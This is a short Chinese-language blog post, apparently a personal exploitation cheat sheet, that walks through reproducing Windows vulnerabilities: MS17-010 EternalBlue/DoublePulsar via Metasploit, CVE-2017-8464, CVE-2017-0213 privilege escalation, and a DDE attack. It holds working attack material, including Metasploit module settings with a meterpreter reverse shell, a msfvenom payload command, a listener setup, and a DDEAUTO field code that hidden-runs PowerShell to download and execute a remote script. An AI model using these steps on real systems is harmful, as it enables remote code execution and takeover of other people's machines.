系统漏洞复现

不得不服老,之前玩过的一些好玩的东西现在很多都忘了,于是决定以后把漏洞复现过程简单记下来~

ms17-010

影响不必多说

msf已集成但是并不好用,不支持x86,还是gayhub下载吧,默认直接放在/root/Eternalblue-Doublepulsar-Metasploit目录下,只需要将里面的rb文件放在/usr/share/metasploit-framework/modules/exploits/windows/smb/这种目录下即可,使用前需要有wine环境,然后运行一下wine cmd在当前目录创建必要的目录,使用过程就直接填参数就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msf exploit(eternalblue_doublepulsar) > options 

Module options (exploit/windows/smb/eternalblue_doublepulsar):

Name Current Setting Required Description
---- --------------- -------- -----------
DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/ yes Path directory of Doublepulsar
ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/ yes Path directory of Eternalblue
PROCESSINJECT svchost.exe yes Name of process to inject into (Change to lsass.exe for x64)
RHOST 192.168.1.142 yes The target address
RPORT 445 yes The SMB service port (TCP)
TARGETARCHITECTURE x86 yes Target Architecture (Accepted: x86, x64)
WINEPATH /root/.wine/drive_c/ yes WINE drive_c path


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.116 yes The listen address
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
8 Windows 7 (all services pack) (x86) (x64)

有三个需要注意的地方:

  1. PROCESSINJECT:x86需使用svchost.exe x64需使用lsass.exe 否则可能不能成功或者导致系统崩溃
  2. payload: 需要选择相应平台payload
  3. 此exp对server支持不好,要是攻击失败可使用泄露的EternalBlue

CVE-2017-8464

这个洞也很有意思,至今还存在在我的win10上,尽管只是用户权限,但是覆盖面积广呀
影响:
Windows Vista
Windows 8
Windows Server 2008
Windows 7
Windows Server 2008 R2
Windows Server 2012
Windows 8.1
Windows RT 8.1
Windows Server 2012 R2
Windows 10
Windows Server 2016

这个msf也集成了,更好用,旧版可以在GitHub下载,依然放在msf的exp目录下,使用时只需要设置payload即可。

CVE-2017-0213

比较新的提权exp
影响:

Product Version Update Build Tested
Windows 10 1511 10586
Windows 10 1607 14393
Windows 10 1703 15063
Windows 7 SP1
Windows 8.1
Windows RT 8.1
Windows Server 2008 SP2
Windows Server 2008 R2 SP1
Windows Server 2012
Windows Server 2012 R2
Windows Server 2016
直接在gayhub下载,运行即可。

DDE-10-9

这个利用比较简单,唯一的坑点就是注意payload位数:

  1. 生成paylaod
    1
    msfvenom  -p   windows/meterpreter/reverse_tcp  lhost=192.168.112.149   lport=4444  -f  psh-reflection >/root/lala.ps1
  2. 监听
    1
    2
    3
    4
    5
    6
    7
    python -m SimpleHTTPServer 8080
    ........................................................................
    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 0.0.0.0
    exploit
  3. 构造恶意文件
    插入域,公式,在域代码里面填入:
    1
    DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden -c iex (New-Object Net.WebClient).DownloadString('http://192.168.112.149:8080/lala.ps1');"